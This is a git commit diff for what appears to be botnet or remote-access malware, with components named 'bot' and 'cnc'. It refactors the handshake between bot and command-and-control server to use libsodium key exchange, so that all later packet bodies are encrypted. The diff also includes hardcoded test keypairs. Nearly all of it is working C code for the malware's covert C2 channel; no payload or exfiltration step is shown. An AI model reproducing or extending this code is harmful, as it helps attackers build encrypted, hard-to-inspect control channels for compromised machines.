Key exchange refactoring!

- LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key
	a shared key is generated using the other peer's pub key,
	allowing for fully encrypted packet bodies, (packet ID is
	left in plain-text)
- laikaS_startOutPacket(), laikaS_endOutPacket(),
	laikaS_startInPacket() & laikaS_endInPacket() have been
	added.
- laikaS_setSecure() has been added to turn on/off encrypted packets.
- genKey now generates kx keypairs
- major refactoring for relevant packet handlers
- variadic packets have been temporarily disabled
This commit is contained in:
CPunch 2022-02-03 16:25:49 -06:00
parent 310a751a07
commit dd173ee422
12 changed files with 162 additions and 97 deletions

View File

@ -9,7 +9,7 @@
#include "lrsa.h"
struct sLaika_bot {
uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE];
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList;
struct sLaika_peer *peer;
};

View File

@ -4,23 +4,15 @@
#include "bot.h"
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE)
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
};
void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t nonce[LAIKA_NONCESIZE];
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
uint8_t endianness = laikaS_readByte(&peer->sock);
/* read & decrypt nonce */
laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv);
/* check nonce */
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
LAIKA_ERROR("mismatched nonce!\n");
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc!\n")
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"))
}
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
@ -38,7 +30,6 @@ struct sLaika_bot *laikaB_newBot(void) {
&bot->pList,
(void*)bot
);
laikaS_setKeys(bot->peer, bot->priv, bot->pub);
/* generate keypair */
if (sodium_init() < 0) {
@ -46,19 +37,17 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("LibSodium failed to initialize!\n");
}
if (crypto_box_keypair(bot->pub, bot->priv) != 0) {
if (crypto_kx_keypair(bot->pub, bot->priv) != 0) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to gen keypair!\n");
}
/* read cnc's public key into peerPub */
if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to init cnc public key!\n");
}
/* gen nonce test */
randombytes_buf(bot->nonce, LAIKA_NONCESIZE);
return bot;
}
@ -78,13 +67,16 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaP_addSock(&bot->pList, sock);
/* queue handshake request */
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
laikaS_startOutPacket(sock, LAIKAPKT_HANDSHAKE_REQ);
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, PEER_BOT);
laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
laikaS_endOutPacket(sock); /* force packet body to be plaintext */
laikaS_setSecure(sock, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->sock.inKey, bot->peer->sock.outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n")
if (!laikaS_handlePeerOut(bot->peer))
LAIKA_ERROR("failed to send handshake request!\n")

View File

@ -8,7 +8,7 @@
#include "lpeer.h"
struct sLaika_cnc {
uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES];
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
};

View File

@ -6,35 +6,38 @@
#include "cnc.h"
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES
};
void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char magicBuf[LAIKA_MAGICLEN];
uint8_t nonce[LAIKA_NONCESIZE];
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->type = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
|| minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n");
/* read & decrypt nonce */
laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, cnc->pub, cnc->priv);
/* read peer's public key */
laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
/* gen session keys */
if (crypto_kx_server_session_keys(peer->sock.inKey, peer->sock.outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n")
/* encrypt all future packets */
laikaS_setSecure(&peer->sock, true);
/* queue response */
laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
laikaS_startOutPacket(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */
laikaS_endOutPacket(&peer->sock);
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
}
@ -64,12 +67,12 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
/* load keys */
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc public key!\n");
}
if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc private key!\n");
}
@ -110,7 +113,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
&cnc->pList,
(void*)cnc
);
laikaS_setKeys(peer, cnc->priv, cnc->pub);
/* setup and accept new peer */
laikaS_acceptFrom(&peer->sock, &cnc->sock);

View File

@ -4,11 +4,11 @@ set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
# DO NOT USE THESE KEYS, TESTING ONLY
if(NOT LAIKA_PUBKEY)
set(LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814")
set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
endif ()
if(NOT LAIKA_PRIVKEY)
set(LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841")
set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
endif ()
# version details

View File

@ -6,8 +6,7 @@
#define LAIKA_VERSION_MINOR 0
/* keys */
#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
#endif

View File

@ -6,7 +6,14 @@
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_NONCESIZE 16
/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
*/
enum {
LAIKAPKT_HANDSHAKE_REQ,
@ -14,22 +21,21 @@ enum {
* uint8_t laikaMagic[LAIKA_MAGICLEN];
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t peerType;
* uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey
* uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t endian;
* uint8_t reEncryptedNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt
*/
LAIKAPKT_VARPKT_REQ,
//LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
//LAIKAPKT_VARPKT_REQ,
/* layout of LAIKAPKT_VARPKT_REQ:
* uint8_t pktID;
* uint16_t pktSize;
*/
LAIKAPKT_CHALLENGE_REQ,
LAIKAPKT_CHALLENGE_RES,
LAIKAPKT_MAXNONE
};

View File

@ -19,12 +19,10 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
struct sLaika_pollList *pList; /* pollList we're active in */
PeerPktHandler *handlers;
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
uint8_t *priv; /* key to decrypt incoming packets */
uint8_t *pub; /* pub key matching to priv */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
@ -35,8 +33,6 @@ struct sLaika_peer {
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
bool laikaS_handlePeerOut(struct sLaika_peer *peer);

View File

@ -51,6 +51,8 @@
#endif
#include <fcntl.h>
#include "lrsa.h"
typedef enum {
RAWSOCK_OK,
RAWSOCK_ERROR,
@ -61,12 +63,16 @@ typedef enum {
struct sLaika_socket {
uint8_t *outBuf; /* raw data to be sent() */
uint8_t *inBuf; /* raw data we recv()'d */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
SOCKET sock; /* raw socket fd */
int outCount;
int inCount;
int outCap;
int inCap;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool flipEndian;
bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */
};
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
@ -84,10 +90,15 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id);
int laikaS_endOutPacket(struct sLaika_socket *sock);
void laikaS_startInPacket(struct sLaika_socket *sock);
int laikaS_endInPacket(struct sLaika_socket *sock);
void laikaS_setSecure(struct sLaika_socket *sock, bool flag);
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf */
void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */

View File

@ -10,8 +10,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
peer->pktSizeTable = pktSizeTable;
peer->pList = pList;
peer->uData = uData;
peer->priv = NULL;
peer->pub = NULL;
peer->pktSize = 0;
peer->type = PEER_UNVERIFIED;
peer->pktID = LAIKAPKT_MAXNONE;
@ -19,11 +17,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
return peer;
}
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) {
peer->priv = priv;
peer->pub = pub;
}
void laikaS_freePeer(struct sLaika_peer *peer) {
laikaS_cleanSocket(&peer->sock);
laikaM_free(peer);
@ -40,6 +33,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
return false;
peer->pktID = laikaS_readByte(&peer->sock);
laikaS_startInPacket(&peer->sock);
/* sanity check packet ID */
if (peer->pktID >= LAIKAPKT_MAXNONE)
@ -50,28 +44,32 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
if (peer->pktSize == 0)
LAIKA_ERROR("unsupported packet!\n")
break;
case LAIKAPKT_VARPKT_REQ:
/* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
return false;
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
if (peer->sock.useSecure)
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
break;
//case LAIKAPKT_VARPKT_REQ:
/* try grabbing pktID & size */
// if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
// return false;
// if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
// LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
/* read pktID */
peer->pktID = laikaS_readByte(&peer->sock);
// peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, (check valid range, check it's variadic) */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID])
LAIKA_ERROR("received evil pktID!\n")
// if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID])
// LAIKA_ERROR("received evil pktID!\n")
/* try reading new packet size */
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
// laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!")
break;
// if (peer->pktSize > LAIKA_MAX_PKTSIZE)
// LAIKA_ERROR("variable packet too large!")
// break;
default:
/* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
@ -80,9 +78,10 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
/* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) {
PeerPktHandler hndlr = peer->handlers[peer->pktID];
peer->pktSize = laikaS_endInPacket(&peer->sock);
if (hndlr != NULL) {
hndlr(peer, peer->pktID, peer->uData); /* dispatch to packet handler */
hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */
} else
LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID);

View File

@ -5,6 +5,7 @@
#include "lpolllist.h"
#include "lrsa.h"
#include "lsocket.h"
#include "lpacket.h"
static int _LNSetup = 0;
@ -46,7 +47,10 @@ void laikaS_initSocket(struct sLaika_socket *sock) {
sock->outBuf = NULL;
sock->outCap = ARRAY_START;
sock->outCount = 0;
sock->inStart = -1;
sock->outStart = -1;
sock->flipEndian = false;
sock->useSecure = false;
laikaS_init();
}
@ -171,6 +175,79 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
return true;
}
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id) {
if (sock->outStart != -1) { /* sanity check */
LAIKA_ERROR("unended OUT packet!\n")
}
laikaS_writeByte(sock, id);
sock->outStart = sock->outCount;
if (sock->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
uint8_t nonce[crypto_secretbox_NONCEBYTES];
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
}
}
int laikaS_endOutPacket(struct sLaika_socket *sock) {
uint8_t *body;
size_t sz;
if (sock->useSecure) {
/* make sure we have enough space */
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
/* packet body starts after the id & nonce */
body = &sock->outBuf[sock->outStart + crypto_secretbox_NONCEBYTES];
/* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body, (sock->outCount - sock->outStart) - crypto_secretbox_NONCEBYTES,
&sock->outBuf[sock->outStart], sock->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n")
}
sock->outCount += crypto_secretbox_MACBYTES;
}
sz = sock->outCount - sock->outStart;
sock->outStart = -1;
return sz;
}
void laikaS_startInPacket(struct sLaika_socket *sock) {
if (sock->inStart != -1) { /* sanity check */
LAIKA_ERROR("unended IN packet!\n")
}
sock->inStart = sock->inCount;
}
int laikaS_endInPacket(struct sLaika_socket *sock) {
uint8_t *body;
size_t sz = sock->inCount - sock->inStart;
if (sock->useSecure) {
body = &sock->inBuf[sock->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */
if (crypto_secretbox_open_easy(body, body, (sock->inCount - sock->inStart) - crypto_secretbox_NONCEBYTES,
&sock->inBuf[sock->inStart], sock->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n")
}
/* remove nonce */
laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES);
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
}
sock->inStart = -1;
return sz;
}
void laikaS_setSecure(struct sLaika_socket *sock, bool flag) {
sock->useSecure = flag;
}
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
@ -178,14 +255,14 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
/* make sure we have enough space to copy the buffer */
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
/* copy the buffer, then increment outCount */
memcpy(&sock->outBuf[sock->outCount], buf, sz);
sock->outCount += sz;
}
void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
/* make sure we have enough space to encrypt the buffer */
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
@ -196,7 +273,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *
sock->outCount += LAIKAENC_SIZE(sz);
}
void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
/* decrypt into buf */
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!\n");

View File

@ -4,39 +4,22 @@
#include "lerror.h"
#include "lrsa.h"
#define DATA "Encryption/Decryption test passed!\n"
#define DATALEN 36
#define CIPHERLEN crypto_box_SEALBYTES + DATALEN
int main(int argv, char **argc) {
unsigned char priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES];
unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
char buf[256];
unsigned char enc[CIPHERLEN];
unsigned char dec[DATALEN];
if (sodium_init() < 0) {
printf("Libsodium failed to init!\n");
return 1;
}
crypto_box_keypair(pub, priv);
crypto_kx_keypair(pub, priv);
printf("[~] Generated keypair!\n");
sodium_bin2hex(buf, 256, pub, crypto_box_PUBLICKEYBYTES);
sodium_bin2hex(buf, 256, pub, crypto_kx_PUBLICKEYBYTES);
printf("[~] public key: %s\n", buf);
sodium_bin2hex(buf, 256, priv, crypto_box_SECRETKEYBYTES);
sodium_bin2hex(buf, 256, priv, crypto_kx_SECRETKEYBYTES);
printf("[~] private key: %s\n\n", buf);
if (crypto_box_seal(enc, DATA, DATALEN, pub) != 0) {
printf("Failed to encrypt!\n");
return 1;
}
if (crypto_box_seal_open(dec, enc, CIPHERLEN, pub, priv) != 0) {
printf("Failed to decrypt!\n");
return 1;
}
printf("%s", dec);
return 0;
}